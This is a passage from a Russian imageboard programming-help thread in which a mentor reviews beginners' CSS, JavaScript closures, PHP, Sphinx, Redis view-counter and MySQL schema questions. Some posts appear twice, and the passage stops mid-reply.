>Посмотри на пример с зелены блоком выше и предложи один или больше вариантов, исходя из своих знаний CSS. А я прокомментирую.


я задал минимальную высоту блоку https://jsfiddle.net/reL91myn/6/, но это не подойдет, если нам нужно изменить высоту желтого блока.
Еще как вариант прописать float:left, но зеленый блок не будет раздаваться на всю ширину, да и зачем его флоатить. Абсолютное позиционирование юзать нельзя, оверфлоу нельзя. Все, я больше не знаю.
#604 #566476
Кстати, почему с убунты у меня двощ капчу не требует? С винды вроде всегда вбивал гуглокапчу, тут не яндекскапчу не вбил, не гуглокапчу не вбил или я что-то упустил?
#605 #566478
>>566476
Всегда ведь так было. Капча только для пеользователей виндовс. Перечитай пользовательское соглашение двача.
#606 #566532
>>566473

Минимальная высота плохое решение так как мы должны точно знать высоту желтого блока, а если его нет, то не должны ставить минимальную высоту и тд.

А слышал ли ты про свойство clear? Что если внутрь блока поместить элемент со свойством clear?

> Абсолютное позиционирование юзать нельзя


А как оно поможет? АП элементы вырываются из контекста и не влияют на окружающие элементы.

> оверфлоу нельзя


Оверфлоу предназначен для обрезания выступающих частей.
#607 #566562
>>565563

> Мне кажется, что сумма обратных расстояний всегда будет больше чем расстояние от ближайшей кошки, но ты говоришь что расстояние от ближайшей кошки должна быть приоритетней



Да, должно быть приоритетнее, так что придется поиграть с весами, то есть домножать разные факторы на коэффициенты чтобы один перевешивал другой.

> Я подумал что это можно решить поделив обратное расстояние от всех кошек на какое-нибудь дробное число, чтобы оно вносило меньший вклад


Это и называется вес, только обычно умножают, а не делят.

> Еще я не уверен что такой же способ будет хорош для ходов с ограниченным числом выходов.


Почему? Вполне подойдет.
69 Кб, 730x600
#608 #566564
5 задача по JS.
Что-то, ОП, она какая-то слишком уж сложная. Забив на нее, решил сделать все после нее, на которые есть проверяльщик, и мне на все вместе хватило получаса, а тут... Не один час в отладчике ковырялся, но в итоге только 3\4 условий выполнил. При том, что не было бы отладчика и их бы не сделал, мутно все как-то.

Вот что получилось. https://ideone.com/EsMhpt
Не выполнено условие "может вызываться многократно и результаты одного вызова не влияют на другой", думал дело в том что в циклах переменные доходят до пика и потом циклы пропускаются, но видимо причина не в этом.
#609 #566565
>>565565

Если мы не можем дойти до цели за 1 шаг, то что мы должны делать? Мы пробуем по очереди пройти к цели через все соседние точки, которые еще не посещали (которых нет в пройденном пути).

Для каждой точки мы получаем время, и проверив все, выбираем точку дающую наименьшее время.

У тебя же идет так:

foreach (...) {
...
return makeOneStep(...);
}

То есть ты не сравниваешь разные варианты, а просто пытаешься пройти через первую попавшуюся точку. Ты наверно придешь к цели в итоге, но путь окажется не самым быстрым.

Также, обрати внимание что есть много готовых алгоритмов поиска пути: https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%B8%D1%81%D0%BA_%D0%BF%D1%83%D1%82%D0%B8
#610 #566576
>>565568

Нарисуй на листке в клеточку разные расположения кошек и мышек и попробуй посчитать за сколько ходов кошка добирается до мышки.

>>565837

В основном, да.

>>566050

С тобой все в порядке?

>>565448

Кто-то создает таблицы, кто-то создает такую схему БД что это не требуется.

Вообще, есть готовые генераторы админок, например Sonata для Symfony2.

>>564875

Это паттерн для разработчиков ORM. Тебе стоит хотя бы выбирать паттерны которые тебе подходят а не все подряд.

Да и зачем так упарываться паттернами? Они для программистов с каким-то опытом, для тех кто хочет в миддлы перейти, а если у тебя ноль опыта они тебе и не требуются.

>>566268

Возможно. в мануале написано:

http://php.net/manual/ru/pdo.prepare.php

> Нельзя использовать одну псевдопеременную в запросе больше одного раза, если только не включен режим эмуляции



Заметь также что плейсхолдеры не позволяют передать массив значений, например для подстановки в IN:

WHERE x IN (?)

Если использовать библиотеки-DBAL (Например Doctrine DBAL) то в них может быть улучшенная поддержка плейсхолдеров, решающая эти проблемы. А может и не быть конечно.
#610 #566576
>>565568

Нарисуй на листке в клеточку разные расположения кошек и мышек и попробуй посчитать за сколько ходов кошка добирается до мышки.

>>565837

В основном, да.

>>566050

С тобой все в порядке?

>>565448

Кто-то создает таблицы, кто-то создает такую схему БД что это не требуется.

Вообще, есть готовые генераторы админок, например Sonata для Symfony2.

>>564875

Это паттерн для разработчиков ORM. Тебе стоит хотя бы выбирать паттерны которые тебе подходят а не все подряд.

Да и зачем так упарываться паттернами? Они для программистов с каким-то опытом, для тех кто хочет в миддлы перейти, а если у тебя ноль опыта они тебе и не требуются.

>>566268

Возможно. в мануале написано:

http://php.net/manual/ru/pdo.prepare.php

> Нельзя использовать одну псевдопеременную в запросе больше одного раза, если только не включен режим эмуляции



Заметь также что плейсхолдеры не позволяют передать массив значений, например для подстановки в IN:

WHERE x IN (?)

Если использовать библиотеки-DBAL (Например Doctrine DBAL) то в них может быть улучшенная поддержка плейсхолдеров, решающая эти проблемы. А может и не быть конечно.
#611 #566581
>>566564

> i = 1;


Это лишнее, это ведь локальная переменная и при следующем вызове функции это будет другая переменная, никак не связанная с предыдущей. При каждом вызове функции создается отдельный набор локальных переменных, только для этого вызова.

В твоем коде ошибка:

Так как args принадлежит внешней функции то когда мы вызываем внутреннюю несколько раз, в args накапливаются аргументы от предыдущих вызовов. Вспомни первую задачу про счетчик (где мы увеличивали переменную от внешней функции из внутренней) - тут то же самое.

Тут конечно надо понимать замыкания, и наверно почитать вот этот раздел: https://learn.javascript.ru/closures

Главная мысль там такая: функция привязывается к внешним переменным в момент создания. Когда ты вызываешь внешнюю функцию, и она создает внутреннюю, внутренняя привязывается к экземпляру args. И если внутреннюю вызвать несколько раз, она добавляет все новые элементы в этот массив.

Попробуй например под отладчиком несколько раз вызвать внутреннюю функцию и посмотри что будет копиться в args:

var add5 = partial(add, 5);
add5(1);
add5(2);
add5(3);
#612 #566584
>>565521

> Я могу конечно пойти на хитрость и выставить where id > 0


Видимо так и придется.

Если ты делаешь удаление rt индексов при переиндексировании, хорошо подумай, а не выйдет ли такое:

- ты переиндексировал записи в дисковый индекс
- в этот момент добавляется новая запись в базу и в rt index
- ты очищаешь rt index и запись теряется до следующего переиндексирования

То-то. Скорее всего тебе надо удалять не все записи а только записи старше определенного времени или начиная с определенного id.

В общем подумай, как сделать процесс обновления индекса бесшовным, можешь написать алгоритм словами, а я прокомментирую.
#613 #566591
>>565521

Вообще, эта бесшовность это важный момент. Если ты не будешь продумывать такие вещи заранее, то это проявится рано или поздно, вылезет какой-нибудь баг и придется тратить время на поиск причин, может быть исправление кода или затыкание костылями. Лучше сразу спроектировать все нормально.

Еще бесшовность может быть важна например при обновлении конфига сфинкса, в каком порядке что выгружать чтобы минимизировать даунтайм. Ну и в других случаях вроде миграций в базе данных: ты не можешь выгружать код, работающий с новыми полями таблиц, пока они не созданы.
#614 #566592
>>565355

> for (var key in objects) {


> \t\t \tif (key == fieldName) {


Зачем цикл? Чем тебя оператор [] не устраивает?

Чтобы проверить наличие ключа в словаре есть быстрый оператор in.

> Задача 9


Тут все верно
#615 #566600
>>564808

Теперь все верно. Можешь браться за следующие задачи (надеюсь что ты это сделал не дожидаясь меня).
#616 #566661
>>566581

>Кстати, имеющийся в новых версиях JS метод bind() тоже может делать частичное применение. Но ты должен обойтись без его использования, и написать свой велосипед.



Проверяльщик отказывается принимать по 3\4 пунктам, но это хотя бы по заданным параметрам работает.

https://ideone.com/QBLIpw

Да, сделал почти наугад, методом тестов в отладчике, толком наверное и не разобравшись. Да, знаю, что в аду уже лаву в котел для меня заливают.
#617 #566669
>>566661

зачем мучаться с восстановлением массива обратно если можно просто завести второй?

> for (var i = 1; i < arguments.length; i++) {


> \t\targs.push(arguments);


Это можно заменить на трюк с Array.prototype.slice.call

> for (var j = 0; j <= arguments.length; j++) {


> \t\targs.push(arguments[j]);


А это на concat()

> x = fn.apply(null, args);


var забыл. Ставь строгий режим в функции и ошибка не пройдет.
#618 #566671
>>566584
where id > 0 не работает, выдает syntax error.
Мало того, where added_time > 1234567890 тоже отказывается принимать. Только id=? ему подавай.
Я тогда воспользуюсь truncate rtindex http://sphinxsearch.com/docs/current.html#sphinxql-truncate-rtindex
Но эта фича доступна только с версии 2.2, в репозиториях почему-то до сих пор 2.0.4.

Что касается бесшовности, это вроде не грозит.
1. При добавлении нового объявления сначала запись добавляется в базу, затем в rt-индекс.
2. По расписанию запускается скрипт, который а) очищает rt-индекс; б) переиндексирует основной (дисковый) индекс.
Так что юзер видит всегда актуальные данные поиска. Разве что в процессе переиндексации, которая может занять пару минут, не будут доступны новые данные.

Меня больше беспокоит счетчик просмотров, дельта которого должна храниться в redis.
Я пока не могу принять решения относительно типа данных. В случае со строками у нас есть атомарная команда getset, которая вернет значение и одновременно обнулит счетчик в редисе. Но это не удобно в плане поиска всех ключей, придется использовать что-то вроде keys mask:*, а это медленный перебор всех ключей.
Гораздо удобнее было бы хранить под одним ключом в хеше. Но команды типа getset для полей хеша я не находил.
Можно конечно взять хеш из редиса, запомнить его в переменную, а затем пройтись в цикле, делая hincrby, уменьшая значение каждого поля на ту величину, которая "попалась" в момент снимка.
Ну то есть у меня есть хеш вида pages:visits = [id123=>82, id124=>35, ...]
1. Берем из редиса HGETALL pages:visits, сохраняем в $pagesVisits.
2. foreach ($pagesVisits as $page => $visits) {
HINCRBY pages:visits $page (-$visits)
}
Таким образом, даже если между операциями чтения/записи вмешался посторонний процесс, увеличивший значение в редисе для id123 с 82 до 84 пока мы копались в php-скрипте, в итоге в редисе благополучно окажется 84-82 = 2.
#619 #566788
Можно в один запрос обновить значение во всех строках, где значение одного столбца равно значению столбца строки с известным айдишником?
#620 #566855
>>566671

> Но это не удобно в плане поиска всех ключей, придется использовать что-то вроде keys mask:*, а это медленный перебор всех ключей.



А как насчет очереди, про которую я рассказывал в прошлый раз? Очередь на основе списка, при новом посещении кладем туда параметры посещения, при сбросе данных в базу с другого конца очереди берем эти данные.

Разумеется тут остается подводный камень в вопросе когда очищать данные из очереди? Если делать до коммита в БД то легко их потерять, если после то есть риск успешно закоммитить данные в БД но не удалить из очереди. Мне второй вариант кажется намного менее вероятным, так как редис дает ошибки только если все совсем плохо (например перестал работать жесткий диск, закончилась память и тд).

А далее можно как ты предложил, через GETSET либо декремент. Можно рассмотреть оба варианта и попробовать поискать подводные камни.

> Можно конечно взять хеш из редиса, запомнить его в переменную


Хеш может быть гинантский (там ведь индексом будет id объявления + IP?) и соответстенно его загрузка в память требует большого объема памяти и блокирует редис на время передачи данных.

А из очереди можно брать данные блоками любого размера. Маленькие блоки требуют меньше памяти и при ошибке нам приходится обрабатывать заново только последний блок, а не все, что накопилось.

Там есть еще такой подвох: мы используем 2 хранилища, редис и БД. Но что если например у нас упал сервер с БД, или нам понадобилось перезапустить редис, не получится ли что код запишет какие-то несогласованные данные?

> DELETE не работает


А покажи-ка код. Вот тут вот http://sphinxsearch.com/docs/current/sphinxql-delete.html никаких ограничений не упоминается. Может ты added_time не сделал атрибутом или еще в чем-то дело? Что в сообщении об ошибке?
#621 #566857
>>566671

> 2. По расписанию запускается скрипт, который а) очищает rt-индекс; б) переиндексирует основной (дисковый) индекс.


> Так что юзер видит всегда актуальные данные поиска. Разве что в процессе переиндексации, которая может занять пару минут, не будут доступны новые данные.



Ну справедливости ради, тут по моему вполне реально сделать чтобы было вообще бесшовно. Например получить список id или время последней записи в rt index, переиндексировать дисковый, очистить по ранее сохраненному списку/времени.

Мне кажется лучше сделать понадежнее.
#622 #566859
>>566788

Можно, подзапросом.
#623 #566901
>>564751
ОП, посмотри пожалуйста.
https://github.com/never3ver/catsandmice/
Вроде как мог устранил, с одним моментом возникло осложнение:

>Я думаю, незачем передавать world каждый ход, нужно внедрять его в животное при добавлении его на карту. То есть когда ты вызваешь $world->add(), он может в животное внедрять ссылку на себя. А при удалении с карты - удалять.



Если я правильно понимаю, при добавлении животного на карту я создаю у него свойство, которое содержит в себе $world. Проблема в том, что я не могу обратиться к методам этого объекта изнутри самого животного, то есть например $this->$world->getX() не сработает. Гугл говорит что это особенности __get. Никак не могу сообразить что делать, подскажи пожалуйста, при помощи чего это можно реализовать.
102 Кб, 1272x634
127 Кб, 1321x709
#624 #566924
Оп, тут можно что-то поправить/оптимизировать?
Алсо правильно ли я делаю, что использую иннер джоин, когда мне нужны только совпадающие значения, или лучше будет через where?
#625 #566925
>>566901

> $this->$world->


Знак доллара лишний

> при добавлении животного на карту я создаю у него свойство, которое содержит в себе $world.


Свойства ты создаешь когда описываешь класс. А тут ты просто в существующее свойство записываешь значение. То есть вызвыаешь

public function addAnimal(Animal $animal)
{
...
$animal->setWorld($this);
...
}

А при удалении животного заменяешь ссылку на null. Таким образом получается двухсторонняя связь: мир содержит ссылки на животных в нем, а животные на мир.

> Гугл говорит что это особенности __get.


Оно не для этого. В этой задаче (и в 99% случаев) магические свойства не нужны. Магические свойства исплоьзуют разработики фреймворков и библиотек.
#626 #566927
>>566924
причем структуру таблицы и внешние ключи я не должен менять
#627 #566932
Анон, который доску обяъвлений делает, вот тебе наверно тоже интересно будет глянуть на базу выше и подумать, что тут можно оптимизировать.

>>566924

О, база с внешними ключами, да вдобавок еще и EXPLAIN сделан. Редко такое случается в нашем треде.


Есть ли индекс в tour_concrete по date?

Ты выбираешь записи на ближайший год, а вообще в tour_concrete много записей? Как они по годам распределены (сколько примерно попадает в выборку)?

Много стран?

Тут все сильно зависит от того сколько данных в таблице и сколько из них попадает по дате в выборку. В некоторых случаях индекс по дате может сильно помочь потому что сейчас выборка начинается со страны.



И еще я не очень понимаю связь между tours и tour_prices, я вижу там 2 внешних ключа sale_price и purchase_price но не очень ясно за что они отвечают.

Есть ли связь между tours_concrete и tours по id тура? как связаны tours_concrete c tours, только через таблицу тарифов?
#628 #566936
>>566925

>Знак доллара лишний


Это очепятка.
Спасибо, попробую.
#629 #566937
>>566924

Если у тебя там пара десятков туров (судя по EXPLAIN) попадает в выборку, то запрос наверно и так очень быстро выполняется. Чтобы увидеть слабые места в базе, надо много записей, минимум тысяч сто, а лучше миллион - тогда неэффективные запросы начнут работать по полминуты а эффективные за доли секунды. Если это тестовая база, то советую тебе набредогенерировать туда даннных и тестировать на большом объеме.

А если у тебя там пара сотен записей то надо постараться чтобы это начало тормозить.
#630 #566939
>>566924

> правильно ли я делаю, что использую иннер джоин, когда мне нужны только совпадающие значения


Да. Иннер джойны хороши тем что база может сама попытаться выбрать оптимальный порядок их джойна, а другие методы (подзапросы, LEFT JOIN) не дают такой свободы и могут вести к менее эффективным выборкам.

> , или лучше будет через where?


А как? Перенести условие из ON в WHERE? Это то же самое получеатся
#631 #566977
>>566925
Не получается. Пока поменял только в этой функции:
https://github.com/never3ver/catsandmice/blob/master/classes/Cat.php#L92
Выкидывает
Notice: Object of class World could not be converted to int in /catsandmice/classes/World.php on line 49

Notice: Object of class World could not be converted to int in /catsandmice/classes/World.php on line 58

Я не понимаю чего-то очевидного видимо.
#632 #566985
>>566977

Сдампь все переменные которые есть в этих строчках и посмотри что в них.
#633 #566991
>>566932

>тебе наверно тоже интересно будет глянуть на базу выше


Я пока в своих проектах с трудом ориентируюсь, не говоря уже о чужих.

По индексам: нужен на tours_concrete.status и tours_concrete.date. Хотя возможно на этих колонках уже есть "tour_index", индексам мне кажется нужно давать говорящие имена, по именам проиндексированных колонок.
Структуру не понимаю, там куча дублирующихся колонок, например status есть в tours и tours_concrete, type в tour_prices и tours, sale_price в tours и tours_concrete.
Не понимаю, за что отвечает большинство колонок: tez_id, tez_title, sale_price и purchase_price, что такое deadline, rotate, age.
Мне бы услышать на словах постановку задачи, я бы реализовал по своему.

Можешь кстати придумать подобную задачу про турагентство и добавить ее себе в учебник, а то там мало практических задач на sql.
#634 #567003
>>566985
Дамп аргумента $x такой:

int(4) int(5) int(4) int(3) int(4) int(5) int(4) int(3) int(4) int(5) int(4) int(3) int(4) int(5) int(4) int(3) int(4) int(5) int(4) int(3) object(World)#2 (3) { ["width":protected]=> int(9) ["height":protected]=> int(9) ["critters":protected]=> array(2) { [0]=> object(Cat)#3 (6) { ["sleepCounter"]=> int(0) ["awareness":protected]=> NULL ["symbol":protected]=> NULL ["x":protected]=> int(5) ["y":protected]=> int(3) ["world":protected]=> RECURSION } [1]=> object(Mouse)#4 (5) { ["awareness":protected]=> NULL ["symbol":protected]=> NULL ["x":protected]=> int(4) ["y":protected]=> int(9) ["world":protected]=> RECURSION } } }
Все остальные int как и положено, включая $y. Я не понимат, внутри животного везде передается int, и только в world возникает вот это.
#635 #567012
>>566985
В общем если сюда
https://github.com/never3ver/catsandmice/blob/master/classes/World.php#L47
добавить проверку на тип int то ошибка пропадает, остается загадка, почему объекты попадают в аргумент этой функции.
#636 #567021
>>566985
Заработало, надо как-то развивать внимательность чтобы так не тупить((.
#637 #567054
>>567012

Это неправильно. Надо искать причину ошибки а не пытаться отгородиться костылями и сделать вид что все в порядке. Не пытайся скрывать ошибки, а ищи их причины.

>>566991

Насчет status я не уверен - если там 90% записей имеют нужный статус по которому идет поиск (например это статус подтвержден/отменен, почему кстати анон его энумом не сделал?), то толку от него мало, а вот индекс он утяжеляет. Не зная данных и их распределения конечно трудно сказать.

Ну и еще один момент, если например процент туров с искомой страной мал, и в ней мало городов, то может быть выгоднее делать выборку начиная со страны, как и вышло в этом примере. Так как в этом случае mysql берет 1 строку из таблицы стран, быстро приджойнивает города, быстро приджойнивает туры.

И что еще меня удивляет, это отстутвие прямой связи между tour_concrete (по видимому заказанные туры) и tours (шаблоны туров).

> Можешь кстати придумать подобную задачу про турагентство и добавить ее себе в учебник, а то там мало практических задач на sql.


А ты задачу про кинотеатр решал? https://gist.github.com/codedokode/10539213#Задачка-про-кинотеатр

Ну и про лайки, которая выше.

Вообще все эти задачи на проектирование обычно сводятся к знанию принципов нормализации БД. Если ты их не знаешь, погугли, в сети есть статьи где нормальные формы объясняют простыми словами.

Обычно если ты их знаешь и делаешь все по ним, то обычно получается хорошо. Если нет, то получаются штуки вроде дублирования или избыточных данных, сложность их обновления, их рассогласование и прочие радости.

О, кстати, вспомнил. Есть неплохая бонусная задачка на SQL:

- спроектируй БД для хранения данных форума в стиле «имиджборда».
- напиши запрос, выбирающий 10 тредов на первой странице, в каждом треде ОП-пост и 3 последних поста, если они есть
- сделав это, напиши где стоит отойти от принципов нормализации ради более удобной и быстрой работы с такой базой (работа с базой подразумевает добавление поста, треда, уход в бамплимит, удаление старых тредов и тд)

> Можешь кстати придумать подобную задачу про турагентство


Мне кажется она по сути будет дублировать задачу про кинотеатр так как не добавляет никаких новых понятий которые надо изучить.
#637 #567054
>>567012

Это неправильно. Надо искать причину ошибки а не пытаться отгородиться костылями и сделать вид что все в порядке. Не пытайся скрывать ошибки, а ищи их причины.

>>566991

Насчет status я не уверен - если там 90% записей имеют нужный статус по которому идет поиск (например это статус подтвержден/отменен, почему кстати анон его энумом не сделал?), то толку от него мало, а вот индекс он утяжеляет. Не зная данных и их распределения конечно трудно сказать.

Ну и еще один момент, если например процент туров с искомой страной мал, и в ней мало городов, то может быть выгоднее делать выборку начиная со страны, как и вышло в этом примере. Так как в этом случае mysql берет 1 строку из таблицы стран, быстро приджойнивает города, быстро приджойнивает туры.

И что еще меня удивляет, это отстутвие прямой связи между tour_concrete (по видимому заказанные туры) и tours (шаблоны туров).

> Можешь кстати придумать подобную задачу про турагентство и добавить ее себе в учебник, а то там мало практических задач на sql.


А ты задачу про кинотеатр решал? https://gist.github.com/codedokode/10539213#Задачка-про-кинотеатр

Ну и про лайки, которая выше.

Вообще все эти задачи на проектирование обычно сводятся к знанию принципов нормализации БД. Если ты их не знаешь, погугли, в сети есть статьи где нормальные формы объясняют простыми словами.

Обычно если ты их знаешь и делаешь все по ним, то обычно получается хорошо. Если нет, то получаются штуки вроде дублирования или избыточных данных, сложность их обновления, их рассогласование и прочие радости.

О, кстати, вспомнил. Есть неплохая бонусная задачка на SQL:

- спроектируй БД для хранения данных форума в стиле «имиджборда».
- напиши запрос, выбирающий 10 тредов на первой странице, в каждом треде ОП-пост и 3 последних поста, если они есть
- сделав это, напиши где стоит отойти от принципов нормализации ради более удобной и быстрой работы с такой базой (работа с базой подразумевает добавление поста, треда, уход в бамплимит, удаление старых тредов и тд)

> Можешь кстати придумать подобную задачу про турагентство


Мне кажется она по сути будет дублировать задачу про кинотеатр так как не добавляет никаких новых понятий которые надо изучить.
#638 #567119
Анон с доской объявлений на Юи, еще я нашел тут один интересный доклад, который тебе может тоже интересно будет глянуть. У тебя для поиска по объявлениям используется sphinx, а тут доклад про поисковый движок Solr. Он интересен тем, что позволяет получать данные о числе объектов, подпадающих под разные условия.

Ну к примеру при поиске вакансий: http://spb.hh.ru/search/vacancy?text=%D0%BC%D0%B5%D0%BD%D0%B5%D0%B4%D0%B6%D0%B5%D1%80&area=2 ты можешь увидеть около фильтров слева число объявлений подпадающих под условия.

Также, он написан на Ява и позволяет дописывать разные компоненты к нему: например, токенайзеры которые разбивают текст на слова, парсер поисковых запросов, и т.д.

Вот доклад: https://events.yandex.ru/lib/talks/2987/ - я обычно пролистываю слайды в PDF, но кому-то может удобнее смотреть видео. Можешь глянуть для расширения кругозора, я не пытаюсь намекнуть что надо на него переходить, тебе наверно пока и сфинкса хватит.

Вообще, на сайте выше много интересных докладов на разные темы.

Сам HH кстати использует другую ява-библиотеку для поиска, lucene: http://habrahabr.ru/company/hh/blog/203986/
#639 #567127
>>567054
Решал я эти три задачи. И со знанием теории все нормально, не хватает практического навыка.

>задачи на проектирование обычно сводятся к знанию принципов нормализации БД


Нет не сводятся. Нужен практический опыт. Например мне было бы интересно услышать тз по базе турагентства, какие данные должны там храниться, я бы подумал как это грамотно спроектировать. Улавливаешь разницу? Задротские определения нормальных форм я могу тебе наизусть повторить, я их читал десятки раз, но что толку, нужна практика в проектировании.

>>555103

>перед добавлением в очередь проверять нет ли ключа с данным IP и id


Что в данном контексте понимать под "ключом"? Я так понимаю будет один список, в котором хранятся строки вида "id:ip", эти строки не являются ключами, это значения.
Или дублировать данные в очереди простыми парами ключ-значение, которые будут валяться в беспорядке в "глобальном пространстве" (если так можно выразиться)?
Попробуем так:
1. При посещении страницы записываем ключ "id:ip", если его еще нет. Если такой ключ уже есть, то ничего не делаем. (или не отдельные ключи для каждого посещения, а положить все данные о посещениях в хеш)
2. Добавляем данный ключ в список-очередь (rpush).
3. Скрипт по расписанию вырезает из начала очереди (ltrim) N записей. Меня кстати напрягает эта константа, я же не знаю нагрузку по посещаемости, если указать слишком маленькое значение то очередь быстро переполнится. Тогда нужно взять значение побольше, чтобы хватило за глаза. И сколько это? Миллиона хватит, или нет?

>тут остается подводный камень в вопросе когда очищать данные из очереди?


Не знаю, я замаялся с твоими камнями.
Но я думаю там нужно где-то присобачить временную метку о последней успешной операции переноса данных из редиса в базу, хранить эту метку в базе и в редисе.
Ну то есть в базе сделать таблицу last_update_visits, хранить там даты обновлений счетчиков. Чистить ее тоже время от времени, нас на самом деле интересует только одно последнее значение.
В редисе тоже завести подобный ключ last:update:visits.
Ну и как-то проверять соответствие этих значений. Только что написал алгоритм, но запутался. Сейчас попробую еще раз.

Но мы по-моему увлеклись, в данном случае оно того не стоит. Я не ставлю перед собой задачу сделать функционал лучше чем на авито или мейлру, я всего лишь хочу набросать простой сайт, чтобы было что показать работодателю, что я более-менее разбираюсь в технологиях.
#639 #567127
>>567054
Решал я эти три задачи. И со знанием теории все нормально, не хватает практического навыка.

>задачи на проектирование обычно сводятся к знанию принципов нормализации БД


Нет не сводятся. Нужен практический опыт. Например мне было бы интересно услышать тз по базе турагентства, какие данные должны там храниться, я бы подумал как это грамотно спроектировать. Улавливаешь разницу? Задротские определения нормальных форм я могу тебе наизусть повторить, я их читал десятки раз, но что толку, нужна практика в проектировании.

>>555103

>перед добавлением в очередь проверять нет ли ключа с данным IP и id


Что в данном контексте понимать под "ключом"? Я так понимаю будет один список, в котором хранятся строки вида "id:ip", эти строки не являются ключами, это значения.
Или дублировать данные в очереди простыми парами ключ-значение, которые будут валяться в беспорядке в "глобальном пространстве" (если так можно выразиться)?
Попробуем так:
1. При посещении страницы записываем ключ "id:ip", если его еще нет. Если такой ключ уже есть, то ничего не делаем. (или не отдельные ключи для каждого посещения, а положить все данные о посещениях в хеш)
2. Добавляем данный ключ в список-очередь (rpush).
3. Скрипт по расписанию вырезает из начала очереди (ltrim) N записей. Меня кстати напрягает эта константа, я же не знаю нагрузку по посещаемости, если указать слишком маленькое значение то очередь быстро переполнится. Тогда нужно взять значение побольше, чтобы хватило за глаза. И сколько это? Миллиона хватит, или нет?

>тут остается подводный камень в вопросе когда очищать данные из очереди?


Не знаю, я замаялся с твоими камнями.
Но я думаю там нужно где-то присобачить временную метку о последней успешной операции переноса данных из редиса в базу, хранить эту метку в базе и в редисе.
Ну то есть в базе сделать таблицу last_update_visits, хранить там даты обновлений счетчиков. Чистить ее тоже время от времени, нас на самом деле интересует только одно последнее значение.
В редисе тоже завести подобный ключ last:update:visits.
Ну и как-то проверять соответствие этих значений. Только что написал алгоритм, но запутался. Сейчас попробую еще раз.

Но мы по-моему увлеклись, в данном случае оно того не стоит. Я не ставлю перед собой задачу сделать функционал лучше чем на авито или мейлру, я всего лишь хочу набросать простой сайт, чтобы было что показать работодателю, что я более-менее разбираюсь в технологиях.
#640 #567143
>>567127

> Что в данном контексте понимать под "ключом"?


Ключом обычно называют ячейку хранилища. Ну например «положить в ключ key» или «записать в ключ key» значит сделать команду SET key value. А соответственно «проверить есть ли ключ с данным IP/id» значит сделать команду EXISTS "visited:{ip}:{id}" http://redis.io/commands/EXISTS

> Я так понимаю будет один список, в котором хранятся строки вида "id:ip", эти строки не являются ключами, это значения.


Это разные вещи. Мы используем обычные элементы с ключом вроде visited:{IP}:{id} для хранения факта что данный IP просмотрел данное объявление. А очередь на основе списка мы используем для накопления IP и/или id просмотренных объявлений между сбросами их в базу.

> Или дублировать данные в очереди простыми парами ключ-значение, которые будут валяться в беспорядке в "глобальном пространстве" (если так можно выразиться)?


Это не дублирование. Эти ключи нужны для отсеивания повторных просмотров с того же IP, а очередь чтобы узнать новые (уникальные) просмотры с момента последнего сброса данных.

> будут валяться в беспорядке в "глобальном пространстве"


Это нормально. Они не в беспорядке, у них общий префикс, например visited:{IP}:{id}, префикс нужен для защиты от конфликтов с другими видами ключей.

Ты можешь заметить что для тех же целей можно исплоьзовать хеш. Я к сожалению не знаю, что выгоднее, например с точки зрения расхода памяти. Редис сам по себе по сути большая хеш-таблица.

Как минимум при использовании хеша будет чуть сложнее поиск: редис сначала ищет элемент-хеш, а потом в нем нужный Ip/id. С другой стороны, хеш можно при надобности атомарно удалить одной командой.

> Меня кстати напрягает эта константа, я же не знаю нагрузку по посещаемости, если указать слишком маленькое значение то очередь быстро переполнится.


Посещаемость обычно не меняется резко и всегда можно оценить ее. Ну допустим у тебя 100 млн уникальных просмотров объявлений в день (что соответствует 1-4 млн людей-посетителей). И что? Это всего несколько гигабайт очереди если класть в нее маленькие кусочки данных.

Ну и скрипт сброса данных не обязан ограничиваться одной порцией. Он может после сброса одного блока данных перейти к следующему. Так что ничего не переполнится.

> Тогда нужно взять значение побольше, чтобы хватило за глаза. И сколько это? Миллиона хватит, или нет?


Миллион неэффективно. Надо кучу памяти PHP скрипту, одна ошибка - и надо весь миллион читать заново. Лучше блоками по несколько тысяч записей, конкретную цифру можно получить из тестов, интуиция говорит что она не очень важна.

> Только что написал алгоритм, но запутался. Сейчас попробую еще раз.


да, хорошо бы. У тебя пока только алгоритм доходит до шага сбора данных, а что дальше делается, не написано.

> всего лишь хочу набросать простой сайт, чтобы было что показать работодателю, что я более-менее разбираюсь в технологиях.


Это правильная мысль. Но ведь я не предлагаю добавить новый функционал, я предлагаю, раз уж ты по своей инициативе взялся за счетчик посещений в редис, попробовать сделать его как можно правильнее и пуленепробиваемей. Сейчас придумаем алгоритм, а уж потом реализовать его и протестировать дело недолгое.
#640 #567143
>>567127

> Что в данном контексте понимать под "ключом"?


Ключом обычно называют ячейку хранилища. Ну например «положить в ключ key» или «записать в ключ key» значит сделать команду SET key value. А соответственно «проверить есть ли ключ с данным IP/id» значит сделать команду EXISTS "visited:{ip}:{id}" http://redis.io/commands/EXISTS

> Я так понимаю будет один список, в котором хранятся строки вида "id:ip", эти строки не являются ключами, это значения.


Это разные вещи. Мы используем обычные элементы с ключом вроде visited:{IP}:{id} для хранения факта что данный IP просмотрел данное объявление. А очередь на основе списка мы используем для накопления IP и/или id просмотренных объявлений между сбросами их в базу.

> Или дублировать данные в очереди простыми парами ключ-значение, которые будут валяться в беспорядке в "глобальном пространстве" (если так можно выразиться)?


Это не дублирование. Эти ключи нужны для отсеивания повторных просмотров с того же IP, а очередь чтобы узнать новые (уникальные) просмотры с момента последнего сброса данных.

> будут валяться в беспорядке в "глобальном пространстве"


Это нормально. Они не в беспорядке, у них общий префикс, например visited:{IP}:{id}, префикс нужен для защиты от конфликтов с другими видами ключей.

Ты можешь заметить что для тех же целей можно исплоьзовать хеш. Я к сожалению не знаю, что выгоднее, например с точки зрения расхода памяти. Редис сам по себе по сути большая хеш-таблица.

Как минимум при использовании хеша будет чуть сложнее поиск: редис сначала ищет элемент-хеш, а потом в нем нужный Ip/id. С другой стороны, хеш можно при надобности атомарно удалить одной командой.

> Меня кстати напрягает эта константа, я же не знаю нагрузку по посещаемости, если указать слишком маленькое значение то очередь быстро переполнится.


Посещаемость обычно не меняется резко и всегда можно оценить ее. Ну допустим у тебя 100 млн уникальных просмотров объявлений в день (что соответствует 1-4 млн людей-посетителей). И что? Это всего несколько гигабайт очереди если класть в нее маленькие кусочки данных.

Ну и скрипт сброса данных не обязан ограничиваться одной порцией. Он может после сброса одного блока данных перейти к следующему. Так что ничего не переполнится.

> Тогда нужно взять значение побольше, чтобы хватило за глаза. И сколько это? Миллиона хватит, или нет?


